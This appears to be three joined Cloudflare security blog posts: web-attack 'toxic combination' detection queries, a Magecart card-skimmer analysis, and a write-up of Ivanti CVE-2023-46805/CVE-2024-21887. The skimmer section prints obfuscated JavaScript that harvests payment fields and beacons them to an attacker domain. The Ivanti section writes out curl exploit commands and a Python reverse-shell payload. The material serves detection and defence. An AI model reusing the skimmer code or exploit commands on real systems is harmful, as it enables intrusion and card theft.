Minor misconfigurations, overlooked firewall events, or request anomalies feel harmless on their own. But when these small signals converge, they can explode into security incidents known as “toxic combinations.” These are exploits where an attacker discovers and compounds many minor issues — such as a debug flag left on a web application or an unauthenticated application path — to breach systems or exfiltrate data.

Cloudflare’s network observes requests to your stack, and as a result, has the data to identify these toxic combinations as they form. In this post, we’ll show you how we surface these signals from our application security data. We’ll go over the most common types of toxic combinations and the dangerous vulnerabilities they present. We will also provide details on how you can use this intelligence to identify and address weaknesses in your stack. 

You could define a "toxic combination" in a few different ways, but here is a practical one based on how we look at our own datasets. Most web attacks eventually scale through automation; once an attacker finds a viable exploit, they'll usually script it into a bot to finish the job. By looking at the intersection of bot traffic, specific application paths, request anomalies and misconfigurations, we can spot a potential breach. We use this framework to reason through millions of requests per second. 

While point defenses like Web Application Firewalls (WAF), bot detection, and API protection have evolved to incorporate behavioral patterns and reputation signals, they still primarily focus on evaluating the risk of an individual request. In contrast, Cloudflare’s detections for "toxic combinations" shift the lens toward the broader intent, analyzing the confluence of context surrounding multiple signals to identify a brewing incident.

^{Toxic combinations as contextualized detections}

That shift in perspective matters because many real incidents have no obvious exploit payload, no clean signatures, and no single event that screams “attack.” So, in what follows, we combine the following context to construct several toxic combinations:

• Bot signals

• Application paths, especially sensitivity ones: admin, debug, metrics, search, payment flows

• Anomalies including: unexpected http codes, geo jumps, identity mismatch, high ID churn, rate-limit evasion (distributed IPs doing the same thing), request or success rate spikes 

• Vulnerabilities or misconfigurations: missing session cookies or auth headers, predictable identifiers

We looked at a 24-hour window of Cloudflare data to see how often these patterns actually appear in popular application stacks. As shown in the table below, about 11% of the hosts we analyzed were susceptible to these combinations, skewed by vulnerable WordPress websites. Excluding WordPress sites, only 0.25% of hosts show signs of exploitable toxic combinations. While rare, they represent hosts that are vulnerable to compromise.

To make sense of the data, we broke it down into three stages of an attack:

• Estimated hosts probed: This is the "wide net." It counts unique hosts where we saw HTTP requests targeting specific sensitive paths (like /wp-admin).

• Estimated hosts filtered by toxic combination: Here, we narrowed the list down to the specific hosts that actually met our criteria for a toxic combination.

• Estimated reachable hosts: Unique hosts that responded successfully to an exploit attempt—the "smoking gun" of an attack. A simple 200 OK response (such as one triggered by appending ?debug=true) could be a false positive. We validated paths to filter out noise caused by authenticated paths that require credentials despite the 200 status code, redirects that mask the true exploit path, and origin misconfigurations that serve success codes for unreachable paths.

In the next sections, we’ll dig into the specific findings and the logic behind the combinations that drove them. The detection queries provided are necessary but not sufficient without testing for reachability; it is possible that the findings might be false positives. In some cases, Cloudflare Log Explorer allows these queries to be executed on unsampled Cloudflare logs. 

Table 1. Summary of Toxic Combinations

We observed automated tools scanning common administrative login pages — like WordPress admin panels (/wp-admin), database managers, and server dashboards. A templatized version of the query, executable in Cloudflare Log Explorer, is below:

SELECT
  clientRequestHTTPHost,
  COUNT(*) AS request_count
FROM
  http_requests 
WHERE
  timestamp >= '{{START_DATE}}'
  AND timestamp <= '{{END_DATE}}'
  AND edgeResponseStatus = 200
  AND clientRequestPath LIKE '{{PATH_PATTERN}}' //e.g. '%/wp-admin/%'
  AND NOT match( extract(clientRequestHTTPHost, '^[^:/]+'), '^\\d{1,3}(\\.\\d{1,3}){3}(:\\d+)?$') // comment this line for Cloudflare Log Explorer
  AND botScore < {{BOT_THRESHOLD}} // we used botScore < 30
GROUP BY
  clientRequestHTTPHost
ORDER BY
  request_count DESC;

Publicly accessible admin panels can enable brute force attacks. If successful, an attacker can further compromise the host by adding it to a botnet that probes additional websites for similar vulnerability. In addition, this toxic combination can lead to:

• Exploit scanning: Attackers identify the specific software version you're running (like Tomcat or WordPress) and launch targeted exploits for known vulnerabilities (CVEs).

• User enumeration: Many admin panels accidentally reveal valid usernames, which helps attackers craft more convincing phishing or login attacks.

Toxic combination of bots automation and exposed management interfaces like: /wp-admin/, /admin/, /administrator/, /actuator/*, /_search/, /phpmyadmin/, /manager/html/, and /app/kibana/.

1. Implement Zero Trust Access. 

2. If for any reason the endpoint has to remain public, implement a challenge platform to add friction to bots.

3. Implement IP allowlist: Use your WAF or server configuration to ensure that administrative paths are only reachable from your corporate VPN or specific office IP addresses.

4. Cloak admin paths: If your platform allows it, rename default admin URLs (e.g., change /wp-admin to a unique, non-guessable string).

5. Deploy geo-blocking: If your administrators only operate from specific countries, block all traffic to these sensitive paths coming from outside those regions.

6. Enforce multi-factor authentication (MFA): Ensure every administrative entry point requires a second factor; a password alone is not enough to stop a dedicated crawler.

We found API endpoints that are accessible to anyone on the Internet without a password or login (see OWASP: API2:2023 – Broken Authentication). Even worse, the way it identifies records (using simple, predictable ID numbers,see OWASP: API1:2023- Broken Object Level Authorization) allows anyone to simply "count" through your database — making it much simpler for attackers to enumerate and “scrape” your business records, without even visiting your website directly.

SELECT
  uniqExact(clientRequestHTTPHost) AS unique_host_count
FROM  http_requests
WHERE timestamp >= '2026-02-13'
  AND timestamp <= '2026-02-14'
  AND edgeResponseStatus = 200
  AND bmScore < 30
  AND (
       match(extract(clientRequestQuery, '(?i)(?:^|[&?])uid=([^&]+)'),  '^[0-9]{3,10}$')
    OR match(extract(clientRequestQuery, '(?i)(?:^|[&?])user=([^&]+)'), '^[0-9]{3,10}$')
    OR length(extract(clientRequestQuery, '(?i)(?:^|[&?])uid=([^&]+)'))  BETWEEN 3 AND 8
    OR length(extract(clientRequestQuery, '(?i)(?:^|[&?])user=([^&]+)')) BETWEEN 3 AND 8
  )

This is a "zero-exploit" vulnerability, meaning an attacker doesn't need to be a hacker to steal your data; they just need to change a number in a web link. This leads to:

• Mass Data Exposure: Large-scale scraping of your entire customer dataset.

• Secondary Attacks: Stolen data is used for targeted phishing or account takeovers.

• Regulatory Risk: Severe privacy violations (GDPR/CCPA) due to exposing sensitive PII.

• Fraud: Competitors or malicious actors gaining insight into your business volume and customer base.

Toxic combination of missing security controls and automation targeting particular API endpoints.

While the query checked for bot score and predictable identifiers, signals like high cardinality, stable response sizes and missing authentication were tested on a sample of traffic matching the query. 

1. Enforce authentication: Immediately require a valid session or API key for the affected endpoint. Do not allow "Anonymous" access to data containing PII or business secrets.

2. Implement authorization (IDOR check): Ensure the backend checks that the authenticated user actually has permission to view the specific tid they are requesting.

3. Use UUIDs: Replace predictable, sequential integer IDs with long, random strings (UUIDs) to make "guessing" identifiers computationally impossible.

4. Deploy API Shield: Enable Cloudflare API Shield with features like Schema Validation (to block unexpected inputs) and BOLA Detection.

We found evidence of debug=true appended to web paths to reveal system details. A templatized version of the query, executable in Cloudflare Log Explorer, is below:

SELECT
  clientRequestHTTPHost,
  COUNT(rayId) AS request_count
FROM
  http_requests
WHERE
  timestamp >= '{{START_TIMESTAMP}}'
  AND timestamp < '{{END_TIMESTAMP}}'
  AND edgeResponseStatus = 200
  AND clientRequestQuery LIKE '%debug=false%'
  AND botScore < {{BOT_THRESHOLD}}
GROUP BY
  clientRequestHTTPHost
ORDER BY
  request_count DESC;

While this doesn't steal data instantly, it provides an attacker with a high-definition map of your internal infrastructure. This "reconnaissance" makes their next attack much more likely to succeed because they can see:

• Hidden data fields: Sensitive internal information that isn't supposed to be visible to users.

• Technology stack details: Specific software versions and server types, allowing them to look up known vulnerabilities for those exact versions.

• Logic hints: Error messages or stack traces that explain exactly how your code works, helping them find ways to break it.

Toxic combination of automated probing and misconfigured diagnostic flags targeting the Multiple Hosts and Application Paths.

While the query checked for bot score and paths with debug parameters, signals like repeated probing, response sizes and schema disclosure were tested on a sample of traffic matching the query. 

1. Disable debugging in production: Ensure that all "debug" or "development" environment variables are strictly set to false in your production deployment configurations.

2. Filter parameters at the edge: Use your WAF or API Gateway to strip out known debug parameters (like ?debug=, ?test=, ?trace=) before they ever reach your application servers.

3. Sanitize error responses: Configure your web servers (Nginx, Apache, etc.) to show generic error pages instead of detailed stack traces or internal system messages.

4. Audit firebase/DB rules: If you are using Firebase or similar NoSQL databases, ensure that /.json path access is restricted via strict security rules, so public users cannot dump the entire schema or data.

We discovered "health check" and monitoring dashboards are visible to the entire Internet. Specifically, paths like /actuator/metrics are responding to anyone who asks. A templatized version of the query, executable in Cloudflare Log Explorer, is below::

SELECT
  clientRequestHTTPHost,
  count() AS request_count
FROM http_requests
WHERE timestamp >= toDateTime('{{START_DATE}}')
  AND timestamp <  toDateTime('{{END_DATE}}')
  AND botScore < 30
  AND edgeResponseStatus = 200
  AND clientRequestPath LIKE '%/actuator/metrics%' // an example
GROUP BY
  clientRequestHTTPHost
ORDER BY request_count DESC

Why is this serious?

While these endpoints don't usually leak customer passwords directly, they provide the "blueprints" for a sophisticated attack. Exposure leads to:

• Strategic timing: Attackers can monitor your CPU and memory usage in real-time to launch a Denial of Service (DoS) attack exactly when your systems are already stressed.

• Infrastructure mapping: These logs often reveal the names of internal services, dependencies, and version numbers, helping attackers find known vulnerabilities to exploit.

• Exploitation chaining: Information about thread counts and environment hints can be used to bypass security layers or escalate privileges within your network.

Toxic combination of misconfigured access controls and automated reconnaissance targeting the Asset/Path: /actuator/metrics, /actuator/prometheus, and /health.

1. Restrict access via WAF: Immediately create a firewall rule to block any external traffic requesting paths containing /actuator/ or /prometheus.

2. Bind to localhost: Reconfigure your application frameworks to only serve these monitoring endpoints on localhost (127.0.0.1) or a private management network.

3. Enforce basic auth: If these must be accessed over the web, ensure they are protected by strong authentication (at a minimum, complex Basic Auth or mTLS).

4. Disable unnecessary endpoints: In Spring Boot or similar frameworks, disable any "Actuator" features that are not strictly required for production monitoring.

Search endpoints (like Elasticsearch or OpenSearch) that are usually meant for internal use are wide open to the public. The templatized query is:

SELECT
  clientRequestHTTPHost,
  count() AS request_count
FROM http_requests
WHERE timestamp >= toDateTime('{{START_DATE}}')
  AND timestamp <  toDateTime('{{END_DATE}}')
  AND botScore < 30
  AND edgeResponseStatus = 200
AND clientRequestPath like '%/\_search%'
AND NOT match(extract(clientRequestHTTPHost, '^[^:/]+'), '^\\d{1,3}(\\.\\d{1,3}){3}(:\\d+)?$')
GROUP BY
  clientRequestHTTPHost

This is a critical vulnerability because it requires zero technical skill to exploit, yet the damage is extensive:

• Mass data theft: Attackers can "dump" entire indices, stealing millions of records in minutes.

• Internal reconnaissance: By viewing your "indices" (the list of what you store), attackers can identify other high-value targets within your network.

• Data sabotage: Depending on the setup, an attacker might not just read data — they could potentially modify or delete your entire search index, causing a massive service outage.

We are seeing a toxic combination of misconfigured exposure and automated traffic and data enumeration targeting  /_search, /_cat/indices, and /_cluster/health.

While the query checked for bot score and paths, signals like repeated query patterns, response sizes, and schema disclosure were tested on a sample of traffic matching the query. 

1. Restrict network access: Immediately update your Firewall/Security Groups to ensure that search ports (e.g., 9200, 9300) and paths are only accessible from specific internal IP addresses.

2. Enable authentication: Turn on "Security" features for your search cluster (like Shield or Search Guard) to require valid credentials for every API call.

3. WAF blocking: Deploy a WAF rule to immediately block any request containing /_search, /_cat, or /_cluster coming from the public Internet.

4. Audit for data loss: Review your database logs for large "Scroll" or "Search" queries from unknown IPs to determine exactly how much data was exfiltrated.

We’ve identified attackers who sent a malicious request—specifically a SQL injection designed to trick databases. A templatized version of the query, executable in Cloudflare Log Explorer, is below:

SELECT
  clientRequestHTTPHost,
  count() AS request_count
FROM http_requests
WHERE timestamp >= toDateTime('{{START_DATE}}')
  AND timestamp <  toDateTime('{{END_DATE}}')
  AND botScore < 30
AND wafmlScore<30
  AND edgeResponseStatus = 200
AND LOWER(clientRequestQuery) LIKE '%sleep(%'
GROUP BY
  clientRequestHTTPHost
ORDER BY request_count DESC

This is the "quiet path" to a data breach. Because the system returned a successful status code (HTTP 200), these attacks often blend in with legitimate traffic. If left unaddressed, an attacker can:

• Refine their methods: Use trial and error to find the exact payload that bypasses your filters.

• Exfiltrate data: Slowly drain database contents or leak sensitive secrets (like API keys) passed in URLs.

• Stay invisible: Most automated alerts look for "denied" attempts; a "successful" exploit is much harder to spot in a sea of logs.

We are seeing a toxic combination of automated bot signals, anomalies and application-layer vulnerabilities targeting many application paths.

1. Immediate virtual patching: Update your WAF rules to specifically block the SQL patterns identified (e.g., time-based probes).

2. Sanitize inputs: Review the backend code for this path to ensure it uses prepared statements or parameterized queries.

3. Remediate secret leakage: Move any sensitive data from URL parameters to the request body or headers. Rotate any keys flagged as leaked.

4. Audit logs: Check database logs for the timeframe of the "HTTP 200" responses to see if any data was successfully extracted.

Card testing and card draining are some of the most common fraud tactics. An attacker might buy a large batch of credit cards from the dark web. Then, to verify how many cards are still valid, they might test the card on a website by making small transactions. Once validated, they might use such cards to make purchases, such as gift cards, on popular shopping destinations. 

On payment flows (/payment, /checkout, /cart), we found certain hours of the day when either the hourly request volume from bots or hourly payment success ratio spiked by more than 3 standard deviations from their hourly baselines over the prior 30 days. This could be related to card testing where an attacker is trying to validate lots of stolen credits. Of course, marketing campaigns might cause request spikes while payment outages might cause sudden drops in success ratios.

Payment success ratio drops coinciding with request spikes, in the absence of marketing campaigns or payment outages or other factors, could mean bots are in the middle of a massive card-testing run.

We used a combination of bot signals and anomalies on /payment, /checkout, /cart:

Use the 30-day payment paths hourly request volume baseline as the hourly rate limit for all requests with bot scores < 30 on payment paths.  

On payment flows (/payment, /checkout, /cart), we found certain hours of the day when either the hourly request volume from humans (or bots impersonating humans) or hourly payment success ratio spiked by more than 3 standard deviations from their hourly baselines over the prior 30 days. This could be related to card draining where an attacker (either humans or bots impersonating humans) is trying to purchase goods using valid but stolen credits. Of course, marketing campaigns might also cause request and success ratio spikes, so additional context in the form of typical payment requests from a given IP address is essential context, as shown in the figure.

Payment success ratio spikes coinciding with request spikes and high density of requests per IP address, in the absence of marketing campaigns or payment outages or other factors, could mean humans (or bots pretending to be humans) are making fraudulent purchases. Every successful transaction here could be a direct revenue loss or a chargeback in the making.

We used a combination of bot signals and anomalies on /payment, /checkout, /cart:

Identity-Based Rate Limiting: Use IP density to implement rate limits for requests with bot score >=30 on payment endpoints.

Monitor success ratio: Alert on any hour when the success ratio for "human" traffic, with bot score >=30 on payment endpoints, deviates by more than 3 standard deviations from its 30-day baseline.

Challenge: If a high bot score request (likely human) hits payment flows more than 3 times in 10 minutes, trigger a challenge to slow them down

We are currently working on integrating these "toxic combination" detections directly into the Security Insights dashboard to provide immediate visibility for such risks. Our roadmap includes building AI-assisted remediation paths — where the dashboard doesn't just show you a toxic combination, but proposes the specific WAF rule or API Shield configuration required to neutralize it.

We would love to have you try our Security Insights featuring toxic combinations. You can join the waitlist here. 

The Cloudflare security research team reviews and evaluates scripts flagged by Cloudflare Page Shield, focusing particularly on those with low scores according to our machine learning (ML) model, as low scores indicate the model thinks they are malicious. It was during one of these routine reviews that we stumbled upon a peculiar script on a customer’s website, one that was being fetched from a zone unfamiliar to us, a new and uncharted territory in our digital map.

This script was not only obfuscated but exhibited some suspicious behavior, setting off alarm bells within our team. Its complexity and the mysterious nature piqued our curiosity, and we decided to delve deeper, to unravel the enigma of what this script was truly up to.

In our quest to decipher the script's purpose, we geared up to dissect its layers, determined to shed light on its hidden intentions and understand the full scope of its actions.

The Infection Mechanism: A seemingly harmless HTML div element housed a piece of JavaScript, a trojan horse lying in wait.

<div style="display: none; visibility: hidden;">
<script src="//cdn.jsdelivr.at/js/sidebar.min.js"></script>
</div>

The script was the conduit for the malicious activities

The script hosted at the aforementioned domain was a piece of obfuscated JavaScript, a common tactic used by attackers to hide their malicious intent from casual observation. The obfuscated code can be examined in detail through the snapshot provided by Cloudflare Radar URL Scanner.

Obfuscated script snippet:

function _0x5383(_0x411252,_0x2f6ba1){var _0x1d211f=_0x1d21();return _0x5383=function(_0x5383da,_0x5719da){_0x5383da=_0x5383da-0x101;var _0x3d97e9=_0x1d211f[_0x5383da];return _0x3d97e9;},_0x5383(_0x411252,_0x2f6ba1);}var _0x11e3ed=_0x5383;(function(_0x3920b4,_0x32875c){var _0x3147a9=_0x5383,_0x5c373e=_0x3920b4();while(!![]){try{var _0x5e0fb6=-parseInt(_0x3147a9(0x13e))/0x1*(parseInt(_0x3147a9(0x151))/0x2)+parseInt(_0x3147a9(0x168))/0x3*(parseInt(_0x3147a9(0x136))/0x4)+parseInt(_0x3147a9(0x15d))/0x5*(parseInt(_0x3147a9(0x152))/0x6)+-parseInt(_0x3147a9(0x169))/0x7*(-parseInt(_0x3147a9(0x142))/0x8)+parseInt(_0x3147a9(0x143))/0x9+-parseInt(_0x3147a9(0x14b))/0xa+-parseInt(_0x3147a9(0x150))/0xb;if(_0x5e0fb6===_0x32875c)break;else _0x5c373e['push'](_0x5c373e['shift']());}catch(_0x1f0719){_0x5c373e['push'](_0x5c373e['shift']());}}}(_0x1d21,0xbc05c));function _0x1d21(){var _0x443323=['3439548foOmOf',
.....

The primary objective of this script was to steal Personally Identifiable Information (PII), including credit card details. The stolen data was then transmitted to a server controlled by the attackers, located at https://jsdelivr\[.\]at/f\[.\]php.

Before diving deeper into the exact behaviors of a script, examining the hosted domain and its insights could already reveal valuable arguments for overall evaluation. Regarding the hosted domain cdn.jsdelivr.at used in this script:

• It was registered on 2022-04-14.

• It impersonates the well-known hosting service jsDelivr, which is hosted at cdn.jsdelivr.net.

• It was registered by 1337team Limited, a company known for providing bulletproof hosting services. These services are frequently utilized in various cybercrime campaigns due to their resilience against law enforcement actions and their ability to host illicit activities without interruption.

• Previous mentions of this hosting provider, such as in a tweet by @malwrhunterteam, highlight its involvement in cybercrime activities. This further emphasizes the reputation of 1337team Limited in the cybercriminal community and its role in facilitating malicious campaigns.

Data Encoding and Decoding Functions: The script uses two functions, wvnso.jzzys and wvnso.cvdqe, for encoding and decoding data. They employ Base64 and URL encoding techniques, common methods in malware to conceal the real nature of the data being sent.

var wvnso = {
  "jzzys": function (_0x5f38f3) {
    return btoa(encodeURIComponent(_0x5f38f3).replace(/%([0-9A-F]{2})/g, function (_0x7e416, _0x1cf8ee) {
      return String.fromCharCode('0x' + _0x1cf8ee);
    }));
  },
  "cvdqe": function (_0x4fdcee) {
    return decodeURIComponent(Array.prototype.map.call(atob(_0x4fdcee), function (_0x273fb1) {
      return '%' + ('00' + _0x273fb1.charCodeAt(0x0).toString(0x10)).slice(-0x2);
    }).join(''));
  }

Targeted Data Fields: The script is designed to identify and monitor specific input fields on the website. These fields include sensitive information like credit card numbers, names, email addresses, and other personal details. The wvnso.cwwez function maps these fields, showing that the attackers had carefully studied the website’s layout.

"cwwez": window.JSON.parse(wvnso.cvdqe("W1siZmllbGQiLCAiaWZyYW1lIiwgMCwgIm4iLCAiTnVtYmVyIl0sIFsibmFtZSIsICJmaXJzdG5hbWUiLCAwLCAiZiIsICJIb2xkZXIiXSwgWyJuYW1lIiwgImxhc3RuYW1lIiwgMCwgImwiLCAiSG9sZGVyIl0sIFsiZmllbGQiLCAiaWZyYW1lIiwgMCwgImUiLCAiRGF0ZSJdLCBbImZpZWxkIiwgImlmcmFtZSIsIDAsICJjIiwgIkNWViJdLCBbImlkIiwgImN1c3RvbWVyLWVtYWlsIiwgMCwgImVsIiwgImVtYWlsIl0sIFsibmFtZSIsICJ0ZWxlcGhvbmUiLCAwLCAicGUiLCAicGhvbmUiXSwgWyJuYW1lIiwgImNpdHkiLCAwLCAiY3kiLCAiY2l0eSJdLCBbIm5hbWUiLCAicmVnaW9uX2lkIiwgMywgInNlIiwgInN0YXRlIl0sIFsibmFtZSIsICJyZWdpb24iLCAwLCAic2UiLCAic3RhdGUiXSwgWyJuYW1lIiwgImNvdW50cnlfaWQiLCAwLCAiY3QiLCAiQ291bnRyeSJdLCBbIm5hbWUiLCAicG9zdGNvZGUiLCAwLCAienAiLCAiWmlwIl0sIFsiaWQiLCAiY3VzdG9tZXItcGFzc3dvcmQiLCAwLCAicGQiLCAicGFzc3dvcmQiXSwgWyJuYW1lIiwgWyJzdHJlZXRbMF0iLCAic3RyZWV0WzFdIiwgInN0cmVldFsyXSJdLCAwLCAiYXMiLCAiYWRkciJdXQ==")),

Data Harvesting Logic: The script uses a set of complex functions ( wvnso.uvesz,  wvnso.wsrmf, etc.) to check each targeted field for user input. When it finds the data it wants (like credit card details), it collects ("harvests") this data and gets it ready to be sent out ("exfiltrated").

"uvesz": function (_0x52b255) {
    for (var _0x356fbe = 0x0; _0x356fbe < wvnso.cwwez.length; _0x356fbe++) {
      var _0x25348a = wvnso.cwwez[_0x356fbe];
      if (_0x52b255.hasAttribute(_0x25348a[0x0])) {
        if (typeof _0x25348a[0x1] == "object") {
          var _0xca9068 = '';
          _0x25348a[0x1].forEach(function (_0x450919) {
            var _0x907175 = document.querySelector('[' + _0x25348a[0x0] + "=\"" + _0x450919 + "\"" + ']');
            if (_0x907175 != null && wvnso.wsrmf(_0x907175, _0x25348a[0x2]).length > 0x0) {
              _0xca9068 += wvnso.wsrmf(_0x907175, _0x25348a[0x2]) + " ";
            }
          });
          wvnso.krwon[_0x25348a[0x4]] = _0xca9068.trim();
        } else {
          if (_0x52b255.attributes[_0x25348a[0x0]].value == _0x25348a[0x1] && wvnso.wsrmf(_0x52b255, _0x25348a[0x2]).length > 0x0) {
            if (_0x25348a[0x3] == 'l') {
              wvnso.krwon[_0x25348a[0x4]] += " " + wvnso.wsrmf(_0x52b255, _0x25348a[0x2]);
            } else {
              if (_0x25348a[0x3] == 'y') {
                wvnso.krwon[_0x25348a[0x4]] += '/' + wvnso.wsrmf(_0x52b255, _0x25348a[0x2]);
              } else {
                wvnso.krwon[_0x25348a[0x4]] = wvnso.wsrmf(_0x52b255, _0x25348a[0x2]);
              }
            }
          }
        }
      }
    }
  }

Stealthy Data Exfiltration: After harvesting the data, the script sends it secretly to the attacker's server (located at https://jsdelivr\[.\]at/f\[.\]php). This process is done in a way that mimics normal Internet traffic, making it hard to detect. It creates an Image HTML element programmatically (not displayed to the user) and sets its src attribute to a specific URL. This URL is the attacker's server where the stolen data is sent.

"eubtc": function () {
    var _0x4b786d = wvnso.jzzys(window.JSON.stringify(wvnso.krwon));
    if (wvnso.pqemy() && !(wvnso.rnhok.indexOf(_0x4b786d) != -0x1)) {
      wvnso.rnhok.push(_0x4b786d);
      var _0x49c81a = wvnso.spyed.createElement("IMG");
      _0x49c81a.src = wvnso.cvdqe("aHR0cHM6Ly9qc2RlbGl2ci5hdC9mLnBocA==") + '?hash=' + _0x4b786d;
    }
  }

Persistent Monitoring: The script keeps a constant watch on user input. This means that any data entered into the targeted fields is captured, not just when the page first loads, but continuously as long as the user is on the page.

Execution Interval: The script is set to activate its data-collecting actions at regular intervals, as shown by the window.setInterval(wvnso.bumdr, 0x1f4) function call. This ensures that it constantly checks for new user input on the site.

window.setInterval(wvnso.bumdr, 0x1f4);

Local Data Storage: Interestingly, the script uses local storage methods (wvnso.hajfd, wvnso.ijltb) to keep the collected data on the user's device. This could be a way to prevent data loss in case there are issues with the Internet connection or to gather more data before sending it to the server.

"ijltb": function () {
    var _0x19c563 = wvnso.jzzys(window.JSON.stringify(wvnso.krwon));
    window.localStorage.setItem("oybwd", _0x19c563);
  },
  "hajfd": function () {
    var _0x1318e0 = window.localStorage.getItem("oybwd");
    if (_0x1318e0 !== null) {
      wvnso.krwon = window.JSON.parse(wvnso.cvdqe(_0x1318e0));
    }
  }

This JavaScript code is a sophisticated tool for stealing sensitive information from users. It's well-crafted to avoid detection, gather detailed information, and transmit it discreetly to a remote server controlled by the attackers.

Page Shield's existing machine learning algorithm is capable of automatically detecting malicious JavaScript code. As cybercriminals evolve their attack methods, we are constantly improving our detection and defense mechanisms. An upcoming version of our ML model, an artificial neural network, has been designed to maintain high recall (i.e., identifying the many different types of malicious scripts) while also providing a low false positive rate (i.e., reducing false alerts for benign code). The new version of Page Shield's ML automatically flagged the above script as a Magecart type attack with a very high probability. In other words, our ML correctly identified a novel attack script operating in the wild! Cloudflare customers with Page Shield enabled will soon be able to take further advantage of our latest ML's superior protection for client-side security. Stay tuned for more details.

The attack on a Cloudflare customer is a sobering example of the Magecart threat. It underscores the need for constant vigilance and robust client-side security measures for websites, especially those handling sensitive user data. This incident is a reminder that cybersecurity is not just about protecting data but also about safeguarding the trust and well-being of users.

We recommend the following actions to enhance security and protect against similar threats. Our comprehensive security model includes several products specifically designed to safeguard web applications and sensitive data:

1. Implement WAF Managed Rule Product: This solution offers robust protection against known attacks by monitoring and filtering HTTP traffic between a web application and the Internet. It effectively guards against common web exploits.

2. Deploy ML-Based WAF Attack Score: Our ML-based WAF, known as Attack Score, is specifically engineered to defend against previously unknown attacks. It uses advanced machine learning algorithms to analyze web traffic patterns and identify potential threats, providing an additional layer of security against sophisticated and emerging threats.

3. Use Page Shield: Page Shield is designed to protect against Magecart-style attacks and browser supply chain threats. It monitors and secures third-party scripts running on your website, helping you identify malicious activity and proactively prevent client-side attacks, such as theft of sensitive customer data. This tool is crucial for preventing data breaches originating from compromised third-party vendors or scripts running in the browser.

4. Activate Sensitive Data Detection (SDD): SDD alerts you if certain sensitive data is being exfiltrated from your website, whether due to an attack or a configuration error. This feature is essential for maintaining compliance with data protection regulations and for promptly addressing any unauthorized data leakage.

....

¹

[1]: https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore

[2]: https://www.bizcommunity.com/Article/196/661/241908.html

[3]: https://nationaldailyng.com/trend-micro-teams-up-with-interpol-to-fight-african-cybercrime-networks/

Most WAF providers rely on reactive methods, responding to vulnerabilities after they have been discovered and exploited. However, we believe in proactively addressing potential risks, and using AI to achieve this. Today we are sharing a recent example of a critical vulnerability (CVE-2023-46805 and CVE-2024-21887) and how Cloudflare's Attack Score powered by AI, and Emergency Rules in the WAF have countered this threat.

An authentication bypass (CVE-2023-46805) and a command injection vulnerability (CVE-2024-21887) impacting Ivanti products were recently disclosed and analyzed by AttackerKB. This vulnerability poses significant risks which could lead to unauthorized access and control over affected systems. In the following section we are going to discuss how this vulnerability can be exploited.

As discussed in AttackerKB, the attacker can send a specially crafted request to the target system using a command like this:

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B

This command targets an endpoint (/license/keys-status/) that is usually protected by authentication. However, the attacker can bypass the authentication by manipulating the URL to include /api/v1/totp/user-backup-code/../../license/keys-status/. This technique is known as directory traversal.

The URL-encoded part of the command decodes to a Python reverse shell, which looks like this:

;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CONNECTBACKIP",CONNECTBACKPORT));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';

The Python reverse shell is a way for the attacker to gain control over the target system.

The vulnerability exists in the way the system processes the node_name parameter. If an attacker can control the value of node_name, they can inject commands into the system.

To elaborate on 'node_name': The 'node_name' parameter is a component of the endpoint /api/v1/license/keys-status/path:node_name. This endpoint is where the issue primarily occurs.

The attacker can send a GET request to the URI path /api/v1/totp/user-backup-code/../../license/keys-status/;CMD; where CMD is any command they wish to execute. By using a semicolon, they can specify this command in the request. To ensure the command is correctly processed by the system, it must be URL-encoded.

Another code injection vulnerability was identified, as detailed in the blog post from AttackerKB. This time, it involves an authenticated command injection found in a different part of the system.

The same Python reverse shell payload used in the first command injection can be employed here, forming a JSON structure to trigger the vulnerability. Since the payload is in JSON, it doesn't need to be URL-encoded:

{
    "type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CONNECTBACKIP\",CONNECTBACKPORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';",
    "txtGCPProject": "a",
    "txtGCPSecret": "a",
    "txtGCPPath": "a",
    "txtGCPBucket": "a"
}

Although the /api/v1/system/maintenance/archiving/cloud-server-test-connection endpoint requires authentication, an attacker can bypass this by chaining it with the previously mentioned directory traversal vulnerability. They can construct an unauthenticated URI path /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection to reach this endpoint and exploit the vulnerability.

To execute an unauthenticated operating system command, an attacker would use a curl request like this:

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"CONNECTBACKIP\\\",CONNECTBACKPORT));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'

Cloudflare WAF is supported by an additional AI-powered layer called WAF Attack Score, which is built for the purpose of catching attack bypasses before they are even announced. Attack Score provides a score to indicate if the request is malicious or not; focusing on three main categories until now: XSS, SQLi, and some RCE variations (Command Injection, ApacheLog4J, etc.). The score ranges from 1 to 99 and the lower the score the more malicious the request is. Generally speaking, any request with a score below 20 is considered malicious.

Looking at the results of the exploitation example above of CVE-2023-46805 and CVE-2024-21887 using Cloudflare’s dashboard (Security > Events). Attack Score analysis results consist of three individual scores, each labeled to indicate their relevance to a specific attack category. There's also a global score, "WAF Attack Score", which considers the combined impact of these three scores. In some cases, the global score is affected by one of the sub-scores if the attack matches a category, here we can see the dominant sub-score is Remote Code Execution “WAF RCE Attack Score”.

